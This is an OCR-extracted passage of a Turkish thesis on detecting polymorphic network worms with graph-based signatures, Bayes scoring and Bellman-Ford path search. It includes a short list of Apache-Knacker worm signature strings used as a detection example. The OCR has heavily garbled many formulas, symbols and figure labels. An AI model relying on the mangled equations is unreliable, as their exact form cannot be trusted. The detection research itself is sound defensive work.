fEskor(elJ) (Esior)ij o9 (P(ei,jlei,j = NormalAkl$)

(3.21) ve (3.22) ile hesaplanan kenar skorlari, ilgili kenarlarin polimorfik
solucan akis havuzdaki olasiliginin, ayni1 diigiim ikilisinin normal akis havuzundaki
olasiligma oranidir. Olasilik degeri, YIGKI imzalar1 igin diigiimlerin siralamasi gz
oniine alinarak hesaplanirken, YsGKI imzalar1 igin diigiimlerin siralamasindan
bagimsiz olarak hesaplanir. Bir kenarin polimorfik solucan akis havuzundaki
olasiligi, ayni kenarin normal akis havuzundaki olasiligindan biiyiikse, skor degeri
pozitiftir. Bu kenarlar, sonug akis skoruna katkida bulunurlar. Bir kenarin polimorfik
solucan akis havuzundaki olasiligi, ayni kenarin normal akis havuzundaki olasiligina
esitse ya da kiiclikse, skor degeri sifir ya da negatiftir. Bu kenarlar, polimorfik

solucani tespit etmek i¢in kullanilamaz ve bu nedenle ihmal edilir.

Giglii kenarlar, daha yiiksek dncelikli kenar kiimelemesinin tliyesi olan kenarlar
olarak tanimlanir ve bu, solucan Orneginde bulunma olasiliginin normal akista
bulunma olasiligina oraninin daha diisiik oncelikli kiimelemedekilere gore daha
yiiksek oldugu anlamina gelir. Basitlik agisindan, kenarlar “gii¢lii kenarlar” ve “zayif

kenarlar” olmak tizere iki kiimelemeye ayirilmistir.
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Giglii yonlii kenarlar kiimesi Eg; ve zayif yonli kenarlar kiimesi E,qy, ¢,

EramBpagnsotucan kKlimesindeki yonlii kenarlarin skorlarina bagl olarak olusturulur.

EK-3’de, YIGKI i¢in (3.21)’de tanimlanan fEg,, Kullanilarak yonlii kenar
skorlarini hesaplamak ve yonli kenarlar kiimesi Erqmpagnsotucan’l> Egicti V€ Ezayif

olarak kiimelemek i¢in Pyimere £ yigxi Prosediri tanimlanmisgtir.

EK-4’de, YsGKI igin (3.22)’de tamimlanan fEgo, kullanilarak yonlii kenar
skorlarini hesaplamak ve yonli kenarlar kiimesi Erqmpagnsotucan’l> Egicti V€ Ezayif

olarak kiimelemek i¢in Pyymere £ ysgki Prosediirii tanimlanmigtir.

YIGKI imzalari, EramBagnsotucan kimesi, bu kiime igerisindeki tim yonlii

kenarlar icin (3.21) ile hesaplanmis skor kiimesi ve kenar giicliilik belirtecinden

olusur.

YsGKI imzalari, Erampagnsotucan Kimesi, bu kiime igerisindeki tim yonli
kenarlar icin (3.22) ile diiglim siralarim1 gdzetmeksizin hesaplanmis skor kiimesi ve

kenar gii¢liiliik belirtecinden olusur.

3.4.3 GKI Polimorfik Solucan Tespit Yontemi

Bir X akis1 hakkinda karar verebilmek i¢in bu akisin solucan olma ve normal
akis olma olasiliklart hesaplanmalidir. Hesaplanmasi gereken olasilik degerleri

P(X = SolucanAkisi|X) ve P(X = NormalAkis|X) olarak ifade edilmektedir.

(4.1)’de verilen Bayes kurali kullanilarak P(X = SolucanAkisi|X) ve P(X =
NormalAkis|X) olasiliklart (3.23) ve (3.24)’de verildigi gibi yazilir:

P(X|X = SolucanAkisy)

P(X = SolucanAkisi|X) = PO

X P(X = SolucanAkis) (3.23)
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P(X|X = NormalAkis)
P(X)

P(X = NormalAkig|X) = X P(X = NormalAkis) (3.24)

(3.23) ve (3.24) olasilik degerlerinin orani, (3.25)’de verilmistir:

P(X|X = SolucanAkis)

P(X = NormalAkis|X) P(X|X Eli\l((;{)malAkls) « P(X = NormalAks)

B P(X|X = SolucanAkisy) y P(X = SolucanAksi) (3.25)
~ P(X|X = NormalAkis) ~ P(X = NormalAks)

(4.2)’de belirtildigi gibi, X akist hakkinda 6nceden bir bilgiye sahip olunmadigi
i¢cin bu akisin solucan olma ve olmama olasiliklarin1 baslangi¢c durumunda esit kabul

edebiliriz.

P(X = SolucanAkis1) = P(X = NormalAkis) = 0.5 (3.26)

Bu durumda (3.23) ve (3.24) olasilik degerlerinin oran1 (3.27)’ye

indirgenmektedir:

P(X|X = SolucanAkisy)
P(X|X = NormalAkis)

(3.27)

(3.27)’de verilen oran, Boliim 3.3’de tanitilan Ki imza yapisinda, X’in akis
cizgesindeki bagimsiz yonlii ya da yonsiiz ardisik kenarlar1 i¢in hesaplanmaktadir.
Diigiim kiimesi V = {v;}1<j<, verilmis olsun. Ki imza yapisinda X akis1 igin,
P(X|X = SolucanAkist) ve P(X|X = NormalAkis) degerleri, akis icerisindeki ardisik
ejj=(x; €V,x;y1 EV) €EE, kenarlart i¢in (3.28)’de verildigi sekilde
hesaplanmaktaydi.
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P(X|X = SolucanAkist) B P(X|X = SolucanAkist)
P(X|X = Normaldkis) ~  P(X|X = NormalAks)

= P(e;i+1)|X = SolucanAkist)

1=

Bilinen Apache-Knacker polimorfik solucani i¢in diiglim kiimesi V’nin

asagidaki gibi bulundugunu varsayalim:

V ={v1,05,V3,V,,Vs5,V6}, V1 ='GET’, v, ="HTTP/1.1\r\n'’, vy ="" |,
v, ='\r\nHost:’, vs ="\r\n', vy = \xFF\xBF’

Polimorfik solucan olup olmadigin tespit etmeye calistigimiz X akisi, bilinen

Apache-Knacker polimorfik solucani i¢in asagidaki gibi tespit edilmis olsun:

X =(V,E,),

V= {171, VU2, V3, Uy, vS}v

E, ={e12,€23,€34,€45,€53,€34,€45}.

P(ej(i+1)|X=SolucanAkis)

(3.28)’de  kullanilan

oranini, gosterimde kolaylik
P(ej(i+1)| X=NormalAkis)

agisindan (3.29)’da gosterildigi gibi P(e; ;4+1)) ile ifade edilsin.

P(e;i+1)|X = SolucanAkist)
P(e;(i+1)|X = NormalAkis)

P(eii+1)) = (3.29)

KI akis degerlendirme asamasinda, X akisi Sekil 3.10°da gosterildigi gibi
ardisik kenarlarin olasilik degerleri iizerinden yapilmaktayd: ve X akisinin olasilik

degeri (3.30) ile hesaplanmaktaydi.
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X= vy v, vy U, Vs V3 Vg Vs

Sekil 3.10, Ki Akis Degerlendirme Y 6ntemi.

P(X) = P(ey2) X P(e33) X P(e34) X P(es5) X P(es3) X P(e34) X P(eys) (3.30)

Solucan akis ¢izgesindeki tiim diiglimler ve kenarlar, polimorfik solucan akis
havuzundaki tim &rneklerde bulundugu icin P(e;41)|X = SolucanAkist) tim
kenarlar i¢cin 1 degerine sahiptir. Akis degerlendirme yontemindeki farkliliklar,
P(e;i+1)|X = NormalAkis) olasilik degerinden kaynaklanacaktir. Bolim 4.1°de
tanitilan tam bagimli, bagimsiz ve ikili bagimli olasilik modelleri kullanilarak
incelenen X akisi i¢in P(X|X = NormalAkis) olasilik degerleri Cizelge 3.1°de
gosterildigi gibi hesaplanmistir.

Olasilik Modeli P(X|X = NormalAkis)
Tam Bagimli Model 0

Bagimsiz Model 0.9854

Ikili Bagimli Model (Y 6nlii) 0.5757

Ikili Bagimli Model (Y 6nsiiz) 0.9751

Cizelge 3.1, Normal Akis Havuzu Olasiliklari.

Cizelge 3.1°de goriildiigii gibi bagimsiz model, yonlii ikili bagimli model ve
yonsiiz ikili bagimli model, ideal durum olan tam bagimli modele gore X akisini
basarili sekilde temsil edememektedir. X akisi, Sekil 3.10°daki gibi ardisik kenarlar
yerine Sekil 3.11°de gosterildigi gibi islenerek bulunan normal akis havuzu

olasiliklar1 Cizelge 3.2°de verilmistir.
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X= vy v, vy U Vs Vi3 Vg Vs

Sekil 3.11, Akis Degerlendirme Yonteminde Degisiklik.

Olasilik Modeli P(X|X = NormalAks)
Tam Bagimli Model 0

Bagimsiz Model 0.9854

Ikili Bagimli Model (Y 6nlii) 0

Ikili Bagimli Model (Y énsiiz) 0

Cizelge 3.2, Normal Akis Havuzu Olasiliklari.

Akis degerlendirme yontemindeki bu degisiklik ile Cizelge 3.2°de anlasildig:
tizere yonlii ikili bagimli model ve yonsiiz ikili bagimli model, X akisini basarili
sekilde temsil edebilmektedir. GKI polimorfik solucan tespit yonteminde Ki tespit
yontemine gore Onerilen farklilik, akis icerisinde birbirine uzaklig1 birden fazla olan
diigimler eger gii¢lii kenar olusturuyorsa ve bu diigtimler arasindaki ardisik kenarlar
zayif ise, ardisik zayif kenarlar yerine tek giiclii kenarin dikkate alinmasidir.
Boylelikle, karar verme sirasinda sonuca biiylik etkisi olmayan ardisik zayif
kenarlarin kullanilmasinin, solucani tespit etmekte etkisi biiyiik olan gii¢lii kenarlarin
ihmal edilmesine sebep olmasi engellenmektedir. YIGKI ve YsGKI imza
yapilarinda, X akis1 degerlendirilirken bu durum goéz oniinde bulundurulmaktadir.
Sekil 3.12°de, 6rnek bir yonlii akis ¢izgesindeki kenarlarin etiketleri (giiglii/zayif) ve

degerlendirme sirasinda dikkate alinan yonli kenarlar gosterilmistir.
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€14 Zﬂ._]"lf

e1,3, gugli €24, ZAV1f

Degerlendinlen yol:

Sekil 3.12, GKI Akis Degerlendirme Y éntemi.

YIGKI ve YsGKI polimorfik solucan tespit yonteminde, bir X akisi icerisinde
bulunan ilk diigiimiin, kendisinden sonraki diigim ile olusturdugu kenarin giiclii ya
da zayif oldugu kontrol edilir. Eger zayif bir kenar olusuyorsa, ilk diiglimiin giiclii
kenar olusturdugu bir diigiim bulunana kadar akis sonuna kadar kontrol devam
ettirilir. Akis sonuna gelmeden once, ilk diiglim ile giiclii kenar olusturan bir digiim
bulunursa, s6z konusu kenar dikkate alinir ve ayni kontrol etme islemi, bir dnceki
adimda incelenen diigiimden sonraki diigliim ile baslayarak devam eder. Eger bir
diiglimden sonra, akis sonuna kadar yapilan kontrolde, ilgili diigiimle baslayan bir
giiclii kenar bulunamiyorsa, diigiimiin kendisine bitisik diigiimle olusturdugu zayif
kenar dikkate alinir ve giiclii kenar arama islemi, son islenen zayif kenarin bitis

diigiimiinden baglayarak devam eder.

YIGKI solucan tespit yonteminde, akis ¢izgesinde segilen yonlii kenarlarm
(3.21) ile hesaplanan Eg,, kiimesindeki skorlari, YsGKI solucan tespit yonteminde
ise, secilen yoOnlii kenarlarin (3.22) ile hesaplanan Eg,, kiimesindeki skorlar

kullanilir.

Kenarlarin solucan akis havuzu ve normal akis havuzu olasilik degerleri
arasinda orantisal olarak biliylik fark oldugunda, kenar skorlari oldukg¢a biiyiik
degerlere sahip olur. Bu yliksek degerler bize karar verme asamasinda karsilastirma
ve hesap yapma zorlugu yasatabilir. Kullanimin daha kolay olmasi amaciyla bu
degerlerin logaritmik hali kullanilmaktadir. Karar agamasinda kullanilan toplam akis

skoru S, (3.31)’deki gibi hesaplanir.
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SO= D> Faordy 3.31)

SegilenV e; j igin

(3.31), bir bagka deyisle, akis icerisinde segilen kenarlarin skorlarinin
toplamidir. Akisin solucan olup olmadigina karar verebilmek i¢in, akis skoru bir esik
deger ile karsilagtirilir. Esik degeri E, tolore edilebilecek maksimum yanlis-pozitif

oranina uygun olarak se¢ilmektedir. Karar kurali (3.32)’de verilmistir.

X = SolucanAkisy, eger S E

Karar Kurah: {X = NormalAkis, eger S<E

(3.32)

Eger bulunan toplam akis skoru esik degerden fazlaysa akis solucan olarak
etiketlenmektedir. Akis icerisinden uygun kenarlarin segilmesi ve karar verme iglemi

icin EK-5"de Pk qkis_desertendir Prosedirii tanimlanmigtir.

GKI yapisi polimorfik solucan tespit yontemi mimarisi, Sekil 3.13’de
gosterilmigtir. Tasarim kriterlerinden biri, solucanin olast yeni siiriimlerini tespit
edecek bir polimorfik solucan tespit yontemi tanmimlamaktir. Zararli kod
gelistiricileri, solucan tespitinde basarisizliga sebebiyet verecek sekilde polimorfik
solucan akis ¢izgesindeki diigiimleri yenileri ile degistirebilir. GKI imza kiimesinin
diigiimleri, ag protokol yapisinin veya ag protokol yapisimin ya da hedef
uygulamanin agikligindan yararlanan agiklik kodunun bir pargasidir. Solucan akis
cizgesindeki diiglimlerinin (SKK-Solucan Karakter Katar1) degistirilmesi solucanin
izomorfik kopyalarini olusturur. Gii¢lii kenarlar1 olusturan diigiimler degistirilmedigi
stirece, Onerilen tespit mekanizmasi polimorfik solucanin izomorfik siiriimiinii tespit

eder.
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Solucan
Akis
Havuzu

GKI imza
Olusturucu

Normal
Akis
Havuzu

YIGKI ve YsGKIi

.| YIGKI ya da YsGKI

Degerlendirilecek
X akist

Y

imzalari

GKI imza Olusturma

ESLESME VAR

imza Eslestirme

Eslesen imza bulundu mu?

Akis1 polimorfik
solucan olarak

ESLESME YOK

Akist normal trafik
olarak etiketle

GKI Akis Degerlendirme

Sekil 3.13, GKI Polimorfik Solucan Tespit Yontemi Mimarisi.

3.5 Yonli Kenarlarin ve Bagimsiz Diigiimlerin Birlesimi

Hibrit Imza Yapisi

Yonlii kenarlarin ve bagimsiz diigiimlerin birlesimi kullanilarak, Bolim

3.1.4’de tanitilan hibrit imza siifindan yeni bir hibrit imza yapist onerilmistir.

Diiglimlerin bulunmasi, tamamlanmas1 gereken ilk fazdir. Diiglim bulma

islemi, Bolim 3.2°de anlatildig1 sekilde yapilmaktadir. Diigiim skor hesaplama

fonksiyonu kullanilarak, diiglimler giiclii ve zayif diiglimler olarak ayristirilir. Giiglii

diigiimler, imza kiimesinin elemanlar1 olarak dogrudan kullanilir. Giiglii diigiimler

kesfedilen polimorfik solucan ¢izge yapisindan silinir. Zayif diiglimlerin kaldigi

cizge yapist giiclii kenarlar1 bulmak icin incelenir. Sonug olarak, imza kiimesi giiglii

diigtimler ve giiclii kenarlarin birlesimi olarak tanimlanir.



73

Yonlii Kenar ve Bagimsiz Diiglimler Birlesimi (YIKDB) imza yapisinin
saglamasi1 gereken kriterler Boliim 1.1°de anlatilmistir. Boliim 3.5.1°de YIKDB imza
yapisinda kullanilan genel notasyon tanitilmistir. YIKDB imzalarinin olusturulmasi
ile ilgili detaylar Bolim 3.5.2°de, polimorfik solucan tespit yontemi Bolim 3.5.3°de

verilmistir.

3.5.1 Genel Tanimlar ve Notasyon

V:{v; h<i<n: n elemanli diigiim kiimesi.

E: Kenarlar kiimesi. Oyle ki e; j € E, v; ve v; diigiimlerini birbirine baglayan yonlii

ya da yonsiiz kenar olsun.

Vgicia: {V9i}1<i<k<n: Kk elemanh gligli diigiim kiimesi. Oyle ki Vgiicla V' ve

Vgii(;lii V) Vzaylf = V

Veayri {VZit1<ick<n: k elemanli zayif digim kiimesi. Oyle ki Vieaypg €V ve

Vzaylf V) Vgﬁglﬁ =V.

Vekor: {(Vskor)i}i<icn: N elemanl diigiim skorlar1 kiimesi. Oyle ki (Vgror)i» Vi €

V’nin skoru olsun.

Fvaeor: Vi = (Vskor)i € R: Diiglim skoru hesaplama fonksiyonu.

Wsorwcan =V, Esotucan}: Wi € V digiimleri ve akis igerisindeki ardisik diigiimleri
birbirine baglayan w;; = (Wi,wjziﬂ) € Egoiucan yOnli kenarlar1 ile tanimlanan

cevrimsiz polimorfik solucan akis ¢izgesi.

Wzanfsotucan = {Vzaylf, EZaylfSolucan}: wz; € Vygyr diglimleri ve akis igerisindeki
ardigik diigiimleri birbirine baglayan wz; ; = (Wzl-,wzjziﬂ) € Ezayirsotucan yOnli

kenarlari ile tanimlanan ¢evrimsiz polimorfik solucan akis ¢izgesi.
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WTamBathaylfSolucan = {Vzaylf'ETamBafgllZaylfSolucan}: wz; € Vzaylf dUgumlerl ve
akis igerisindeki her digliimii kendinden sonraki tim diigiimlere yoOnlii olarak
baglayan wz; ; = (WZi,WZj) € EramBagnzayifsolucan YONIi kenarlart ile tammlanan

cevrimsiz polimorfik solucan akis ¢izgesi.

Egicig: Guglii yonlii kenarlar kiimesi. Oyle ki Egiciq € Erampagnzayfsotucan V€

Egii(;lii U Ezaylf = ETamBathaylfSolucan-

E Giciiiimza: YIKDB imza kiimesinde kullanilacak gii¢lii yonlii kenarlar kiimesi. Oyle

Ki EGicriimza S Egigua alt kiimesidir.

Esayf: Zayif yonli kenarlar kiimesi. Oyle ki Ezayr S Erampagnzayifsotucan V€

Ezaylf U Egﬁ(;lii = ETamBathaylfSolucan-

Eskor: {(Eskor)i;}: Yonli kenar skorlari kimesi. Oyle ki (Egkor)ij, €1 €

EramBaghzayfsolucan Kenarnin skoru olsun.

fEror: €ij = (Eskor)ij € R: Yonlii kenar skoru hesaplama fonksiyonu.

X ={V,E,}: x; €V diuglimleri ve akis igerisindeki ardigik diigiimlerini birbirine
baglayan x;; = (xl-,sziﬂ) € E, yonli kenarlan ile tanimlanan g¢evrimsiz akis

cizgesi.

X akis1 etiketi: X = {NormalAkis, SolucanAkisi}. X akisi polimorfik solucan ise
X = SolucanAkis;, X akist normal trafik ise X = NormalAkis degeri

kullanilmaktadir.

3.5.2 YIKDB imza Olusturma Yontemi

YIKDB imzalarini olusturmak i¢in diigiim kiimesi Boliim 3.2°de anlatildigi

sekilde tespit edilir. Diigiim kiimesi V ve polimorfik solucan akis ¢izgesi Wyoiucan
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tespit edildikten sonra, her v; € V i¢in solucan akis havuzunda ve normal akis
havuzunda bulunma olasiliklarina bagl olarak diigiim skorlar1 hesaplanir. Diigiim

skor fonksiyonu fy,_ . (3.33)’de tammlanmustir.

P(v;|v; = SolucanAk1§1)> (3.33)

Fseor @) = Vskor)i = log (P(vi|vl- = NormalAks)

Solucan akis havuzunda sik rastlanirken, normal akis havuzunda seyrek
rastlanan diigiimler, iki havuzda da yer alan ortak diiglimlere gore oldukca yiiksek
skorlara sahiptir. Bu diigiimler gii¢lii diigiimler, digerleri ise zayif diiglimler olarak
adlandirilir. Guglii dugtimler, glgli digim kimesini Vg olustururken, zayif
diigiimler, zayif digim kiimesini V4, olusturur. Diigiim kiimesi V’yi, Vyicq ve

Vyzay s olarak boltimlendiren Py e v prosediirii EK-6’da verilmistir.

Bir giicli diiglim ile bir zayif digiim veya iki giicli diiglimden olusan
kenarlarin giiglii olmasi olagandir ¢linkii giiclii diiglimiin kendisi solucan akis
havuzunda sik yer alirken, normal akis havuzunda daha seyrek yer alir. Bu tiir giiglii
kenarlar ihmal edilmekte ve imza kiimesinde gii¢lii diiglimler tek basina

kullanilmaktadir.

YIKDB imza kiimesi, gii¢lii diigtimlerin ve gii¢lii kenarlarin birlesimi olarak
tanimlanir. Giglii diigiim kiimesi Vo bulunduktan sonraki adim, YIKDB imza
kiimesine eklenmek ftizere, giiglii yonlii kenar kiimesi Egcijimzq 10 bulunmasidir.
E Gigtiimza> polimorfik solucan akis ¢izgesi Wgpcan'in wy € Vi diigtimleri
¢ikarildiktan sonra elde edilen Wyay, rsoiucan SOlucan akis ¢izgesindeki tim wz;
diigiimlerinin kendisinden sonraki tiim diger diiglimlere yonlii olarak baglandigi
WTamBagllzaylfsmucan ¢izgesinin kenar kiimesi ETamBagllzaylfsmucan’ln bir alt
kiimesidir. Egicigimzq, topolojik olarak siralt Wrgmpagnzayfsotucan SOlucan akis
cizgesinde baglangic diiglimiinden son diiglime giden, kenarlarin skorunun

toplaminin maksimum oldugu yol {izerindeki giiclii kenarlari igerir.
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Imza kiimesinde kullanilan EGiciiimza Ul kenarlar kiimesi, zayif
diigiimlerden olusur. Wrampagnzayifsotucan S0lucan akis gizgesinin kenarlarini igeren
Erampagnzayfsolucan kenar kiimesi igerisindeki yonlii kenarlarin skorlari, akig
havuzlarindaki olasilik degerlerinin orani olarak (3.34)’de verilen fEskor(ei.j) ile

hesaplanir.

P(ejle;; = SolucanAklsl)) (3.34)

fegeor(€15) = Eskor)ij = log <P(ei,j|ei,j = NormalAkis)
Giiglii kenarlar kiimesi Eg;; ve zayif kenarlar kiimesi E, gy, f, kenar skorlarina
bagl olarak olusturulur. EK-7de, fg, _ kullanilarak kenar skorlarini hesaplamak ve

yonlii  kenarlar  kiimesi  Ergmpagnzayifsotucan’l>  Egiga Ve Ej olarak

ayif
bolimlendirmek i¢in Pymere g prosedirii tammlanmustir. Egicpimzq, gl¢li kenar
kiimesi Egj¢ niin bir alt kiimesidir. Imza kiimesindeki giiclii kenarlar, sadece Vaans
kiimesinden zayif diigiimleri igerir, giiglii diigiimler w; € V. solucan akis ¢izgesi
Wotucan dan cikarilir ve ortaya cikan ¢izge j > i olmak iizere her diigiim wz;’yi
kendinden sonraki tiim diger wz; diigiimlerine yonli olarak baglayan cevrimsiz
WramBagnzayfsolcaun $1zgesi elde edilir. Wrampagnzayifsolcaun ¢1zgesl yapist geregi

topolojik olarak siralidit. Wrampagnzayfsoicauns  Egigliimza Kimesini olugturmak

i¢in incelenir.

WramBagnzayifsotucan’ 0 baglangic diiglimiinden bitig diigiimine olan en
yliksek toplam skorlu yol bulunur. Wrqmpagnzayifsotucan’ 10 €n yliksek toplam skorlu
yolundan zayif kenarlar ¢ikarilir ve kalan giiglii kenarlar kiimesi E gciimzq, EK-8’de
tamimlanan Py kenar pwt Prosediirii ile imza kiimesinin bir pargasi olarak bulunur.
En yiiksek toplam skorlu yolu (en uzun yol) bulmak tizere Bellman-Ford([60],[61])
algoritmasindan faydalanilmaktadir. Bellman-Ford algoritmasi, negatif cevrim
bulundurmayan n diigiimlii bir ¢izgede n — 1 iterasyon ile negatif bir ¢cevrime yolu
olmayan bir baslangi¢ diigiimiinden bitis diigiimiine olan en kisa yolu bulur. [62]de

de belirtildigi ilizere bu algoritma, karsilastirma kosulunun uygun sekilde
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degistirilmesiyle (> islemi yerine < isleminin kullanilmasi) maksimum skorlu yolu

bulmak i¢in de kullanilabilmektedir.

Sekil 3.14°de verilen polimorfik solucan akis ¢izgesi Wy,pycan’l €0z Oniline
alalim. n = 4 tane digim ve v, v,, v3, v,, v; dizilimiyle polimorfik solucan akis
cizgesi bulunmus olsun. Diigiim ve kenar skorlarnin (3.33) ve (3.34) ile
hesaplandigini, giiglii ve zayif diigim kimeleri Vgiq ve Viayr ' Pyimete v
prosediirti ile giiglii ve zayif kenar kiimeleri Egei Ve Ezqy, ¢ klimelerinin Pyimere £
prosediirleri ile bulundugunu varsayalim. Bu senaryoda, w, = v, € V¢ bulunan

tek gii¢lii diiglim olsun.

Wiz Wag Wia Was
L 4 & 4 & 4 & 1 g &
Wi Wi Ws Wy W
(vy) (v2) (v3) (vs) (vy)

Sekil 3.14, Solucan Akis Cizgesi.

Yonlii  cevrimsiz  tam  bagh  zayif polimorfik solucan  ¢izgesi

WramBagnzayifsotucan, kenar skorlart ve kenar etiketleri ile Sekil 3.15°de verilmistir.

P

giicli_kenar byt Prosediriiniin her i. iterasyonunda, wz,’den wz;,,’e maksimum

skorlu yol bulunur. Wrampasnzayifsotucan’da N =4 digiim oldugu i¢in wz,’den

wz,’e maksimum skorlu yol, N —1 =3 iterasyonda bulunur. Maksimal yolun

kenarlari, { = N’den baslayarak Wrampagnzayifsotucan’ 0 ilk diigtimiine ulagilana
kadar wz; € Wrampagnzayifsotucan diilimlerinin ters yonde taranmasi ile bulunur.
Maksimal yol, wz;, wz,, wzs, wz, olarak bulunur. Son olarak, maksimal yoldaki
zay1f kenar wz, ; ihmal edilir ve Egiciimzas {Wzl_z, WZ3_4} olarak bulunur. YIKDB
imza kiimesi, Vgiciq Ve Egicriimza 10 birlesimi olan {W4_, Wzl‘z,wz3,4}’dir. YIKDB

imza kiimesi V ve E kiimeleri cinsinden, {174, €12, e3,1} olarak tanimlanir.
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WZy a, ZAV1f

wzy g, zayif WZg 4, guclil

Wzg 3, Zaylf
b 4

Wz Wz Wz Wz

(vy) (v2) (vs) (vy)

WzZg 4, gliclil
b

L

Sekil 3.15, Tam Bagli Zayif Polimorfik Solucan Akis Cizgesi.

WTamBaglIZaylfSolucan igin P, giicli_kenar_bul iterasyonlar1, Cizelge 3.3’de
Ozetlenmistir. Baglangic durumunda wz;’den diger diigiimlere olan maksimum
yollarin skoru ve bu yolun hangi diigiim {izerinden oldugu bilgisi 0 olarak
ilklendirilmistir. Ilk iterasyonda, wz,’den wz,’ye tamimli maksimum skorlu tek
kenar, 12 skoru ile kaydedilmis, wz; ve wz,’e olan yollar 1 ve 3 skoruyla
kaydedilmistir. Bu yollarda hedef 6ncesinde ugranan son diigiim wz; oldugu i¢in
i =2,3,4 icin d; = 1 olarak atanmustir. Ikinci iterasyonda, wz,’den wz;’e taniml
maksimum skorlu yol, 13 skoru ile kaydedilmis, wz,’e olan yol ilk iterasyonda
bulunan 3 skoru yerine 21 skoru ile gilincellenmistir. Bu yollarda hedef dncesinde
ugranan son diigim wz, oldugu i¢in i = 3,4 i¢in d; = 2 olarak gilincellenmistir.
Ucgiincii ve son iterasyonda, wz,’den wz,’e tamimli maksimum skorlu yol, ikinci
iterasyonda bulunan 21 skoru yerine 33 skoru ile kaydedilmistir. Bu yolda wz,
oncesinde ugranan son diigiim wz; oldugu igin d, = 3 olarak giincellenmistir. Ug
iterasyon sonunda, d; parametresi, sondan basa dogru taranmaktadir. wz,’den wz,’e
maksimum skorlu yolun skoru 33 olarak bulunmustur. d, =3 olarak
bulundugundan, maksimal yol {izerinde wz, Oncesinde wz; oldugu anlagilmaktadir.
Sonraki adimda d; = 2 oldugundan, wz; oncesindeki diigiimiin wz, oldugu tespit
edilmektedir. Son adimda d, =1 oldugundan wz, oncesindeki wz; diigiimiine
ulagilarak  maksimal yol bulma islemi bitirilmektedir. Maksimal yol
{WZLZ, Wz, 3, WZ3_4} olarak bulunduktan sonra, zayif olan wz, 3 kenar1 ihmal edilerek

EGictiimza = {WZ1,2, WZ3 4} olusturulmakta ve YIKDB imza kiimesi, Egiciimza 11€

v,

it ktmelerinin  birlesiminden {W4,WZL2,WZ3,4} ya da {v4, 61,2,63’1} olarak

tanimlanmaktadir.
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wz;
1=2 | 1=3 1=4
. MaksSkory; 0 0 0
Ik durum
d; - - -
. MaksSkory; 12 1 3
Iterasyon #1
d; 1 1 1
, MaksSkory; 12 13 21
Iterasyon #2
d; 1 2 2
) MaksSkory; 12 13 33
Iterasyon #3
d; 1 2 3

Cizelge 3.3, Pyicii_kenar_bul Iterasyonlari.

Bolim 3.5.3’de YIKDB imzalartyla polimorfik solucan tespit yontemi

anlatilmistir.

3.5.3 YIKDB Polimorfik Solucan Tespit Yontemi

Tespit asamasinda, ag akiglart degerlendirilerek polimorfik solucan veya
zararsiz trafik olarak etiketlendirilir. YIKDB imzalar1 Bolim 3.5.2°de anlatildig:
sekilde tanimlanmustir. Imza kiimeleri, bilinen polimorfik solucanlar icin kesfedilmis
giiclii diigiimler ve gli¢lii yonlii kenarlarin birlesimidir. Degerlendirilen akisin ¢izgesi
X, diigiim kiimesi V’nin elemanlar1 v; diiglimlerinden akis igerisinde bulunanlar
cinsinden ifade edilir. X = {V,E,}: x; € V diigiimleri ve akis igerisindeki ardisik
digtimlerini  birbirine baglayan x;; = (xl-,sziﬂ) € E, yonli kenarlart ile
tanimlanan ¢evrimsiz akis ¢izgesidir. X akis ¢izgesinde, YIKDB imza kiimesinde
bulunan giiclii kenarlar ve giicli diiglimler aranmaktadir. Ag akisini polimorfik
solucan olarak etiketlemek i¢in, tanimli imzalardan en az birinin tam olarak
eslesmesi gerekmektedir. Bir YIKDB imzasinin eslesmesi i¢in, imza kiimesindeki
giiclii diigiimlerin ve giiclii yonlii kenarlarin tiimiiniin siradan bagimsiz olarak X akis

cizgesinde bulunmasi gereklidir.



80

YIKDB polimorfik solucan tespit yontemi mimarisi, Sekil 3.16°da
gosterilmistir. Tasarim kriterlerinden biri, solucanin olast yeni siiriimlerini de tespit
edecek bir polimorfik solucan tespit yontemi tamimlamaktir. Zararli kod
gelistiricileri, solucan tespitinde basarisizlifa sebebiyet verecek sekilde polimorfik
solucan akis cizgesi W’deki diiglimleri baskalar1 ile degistirebilir. YIKDB imza
kiimesinin diiglimleri, ag protokol yapisinin veya ag protokol yapisinin ya da hedef
uygulamanin agikligindan yararlanan agiklik kodunun bir pargasidir. W ’nin
diiglimlerinin degistirilmesi solucanin izomorfik kopyalarim1 olusturur. Gigli
diigimler veya giiclii yonlii kenarlar1 olusturan diigimler degistirilmedigi siirece,
Onerilen tespit mekanizmasi polimorfik solucani hala tespit edebilir. Giigli
diigiimlerden biri veya gilicli yonlii kenarlar1 olusturan zayif digiimlerden biri
degistirilirse, bu durum YIKDB imza kiimesinin kismi eslesmesi veya bilinen

kenarlarin higbirinin tespit edilememesi ile sonuglanir.

Kismi eslesme durumunda, oOnerilen tespit mekanizmasi bu siipheli trafik
akislarini gegici bir solucan akis havuzunda saklar. Yeterli sayida gegici stipheli akis
toplandiginda YIKDB imza olusturma siireci tetiklenir. Eger imza olusturma siireci
kismi eslesen giiclii diigiim ve gii¢lii yonlii kenarlara ek olarak yeni diiglimleri de
iceren bir imza kiimesi ile sonuglanirsa, bu durum sistemin bilinen bir polimorfik
solucanin yeni bir siriimii i¢in otomatik olarak YIKDB imza kiimesini
olusturabildigi anlamina gelir. Solucanlarin hizli yayilim karakteristikleri, kisa
zamanda yeterli sayida varyasyonun yakalanmasina sebep olacagi i¢in, YIKDB

yontemi polimorfik solucanin yeni siiriimiinii zamaninda tespit etmeye baglar.
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Solucan .
YIKDB Imza
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Sekil 3.16, YIKDB Polimorfik Solucan Tespit Yontemi Mimarisi.
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4 TEST SONUCLARI ANALIZ VE
DEGERLENDIRME

Onerilen YsKI, YIKI, YsGKi, YIGKI ve YIKDB imza yapilarinda kullanilan
akis degerlendirme olasilik modellerinin analizi Boliim 4.1°de verilmistir. Yanlis-
pozitif ve yanlis-negatif karar performanslar1 Bolim 4.2°de detayli olarak
tartigtlmustir. Onerilen imza yapilarmin olusturdugu imza kiimelerinin boyutlarinmn
analizi Boliim 4.3’de verilmistir. imza olusturma siireleri ve akis degerlendirme

stireleri sirastyla Bolim 4.4 ve Boliim 4.5°de analiz edilmistir.

Onerilen YsKI, YIKI, YsGKI, YIGKI, YIKDB imza yapilar1 ve karsilastirilan
Polygraph Bayes, Polygraph Conjunction ve Polygraph Subsequence imza yapilari,
ANSI C ile ger¢eklenmistir. Yanlis-pozitif ve yanlig-negatif sonuglarinin analizi, akis
degerlendirme siiresi analizi, 1 GB bellekli, 1.8 GHz islemci hizinda ve 1 Gbit/s

